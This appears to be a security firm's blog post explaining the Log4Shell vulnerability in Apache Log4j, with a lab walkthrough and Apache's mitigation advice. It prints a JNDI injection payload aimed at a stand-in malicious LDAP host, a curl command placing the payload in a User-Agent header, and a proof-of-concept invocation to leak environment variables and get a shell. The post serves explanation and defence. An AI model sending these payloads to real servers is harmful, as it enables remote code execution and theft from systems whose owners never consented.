Log4j – The 0Day That Gone Wild!

The popular Java logging library 0day that made the internet cry
Log4Shell

On December 9th of 2021, there was a lot of reports about a new 0day vulnerability in Apache Log4j logging utility impacting many well known services like Apple ICLoud, Steam, Cisco, Amazon and putting at risk upwards of 3 billion devices that use Java across a variety of consumer and enterprise services, websites and applications, as well as medical devices and supporting systems. A list of affected products and vendor advisories can be found at This community resource.

Why it is so popular?

Log4j is one of the most used java libraries of all time in the java community and is been used on most organizations as its the only logging library used in production. Thats why this vulnerability is so critical.

What is the Log4j vulnerability

In most cases, developers may write error messages caused by user input into the logs by using the Log4j framework. Attackers can use this feature to construct special data request packets through this vulnerability, and ultimately trigger remote code execution.

Specifically it gets triggered by inserting a JNDI lookup in a header field (because its more likely to be logged) pointing on the target server. Then the Log4j logs the string and returns the information asked. An attacker can achieve with this private keys dumping as well downloading and executing malware on impacted servers .

This issue only affects log4j versions between 2.0 and 2.14. This statement may not be true the time you read this, as we slowly start loosing count on the effected version and we also see failed attempts to patch!

Moving one, with only an one liner an application can be triggered to reach out to an external host if its logged with an outdated version of Log4j

A malicious user might supply special text in an HTTP User-Agent header or a simple POST form request, with the form:
${jndi:ldap://malicioushost.com/resource}

Log4j exploit flow

  1. The attacker insert a JNDI Lookup on a form or header field that might be logged
  2. The string is passed to log4j for logging ${jndi:ldap://malicioushost.com/resource}
  3. Log4j queries the malicious LDAP server
  4. The LDAP responds with directory information that contains the malicious java class
  5. Java deserializes or downloads the malicious java class and executes it

DiagramDescription automatically generated

We will reproduce and exploit the same vulnerability locally using this pre-build vulnerable app.

Build it with Java:
mvn clean compile assembly:single

Run the application with the affected version of log4j:
java -jar target/log4jpwn-1.0-SNAPSHOT-jar-with-dependencies.jar

We start a netcat listener for incoming connection.
In real life scenario think of it as the ldap server or remote server that log4j will connect

The command to connect to the application. We get a connection open from the application to the netcat listener
curl -H 'User-Agent: ${jndi:ldap://192.168.64.2:8888/a}' localhost:8080

TextDescription automatically generated

We will use the provided PoC to get the shell on the affected system.
./pwn.py --target http://localhost:8080 --exploit-host 127.0.0.1 --leak '${env:SHELL}'

Graphical user interface, textDescription automatically generated

Graphical user interface, textDescription automatically generated

Mitigations

According to Apache :

  • The best option is Updating to latest version Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later). This version disables JNDI by default and removes the message lookup feature. Apache log4j Download Page
  • In PatternLayout in the logging configuration, replace Context Lookups like ${ctx:loginId} or $${ctx:loginId} with Thread Context Map patterns (%X, %mdc, or %MDC)

Otherwise, in the configuration, remove references to Context Lookups like ${ctx:loginId} or $${ctx:loginId} where they originate from sources external to the application such as HTTP headers or user input

Only the log4j-core JAR file is impacted by this vulnerability.
Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by this vulnerability.

Share on social media

Share on linkedin
Share on facebook
Share on twitter

Get A Service Quote

Stay Connected

Test the effectiveness of your security controls before malicious parties do.
We pride ourselves on being unique and thorough.
We understand the need of your organisation and yours too.​

Social & Contact INFO

Drop us a message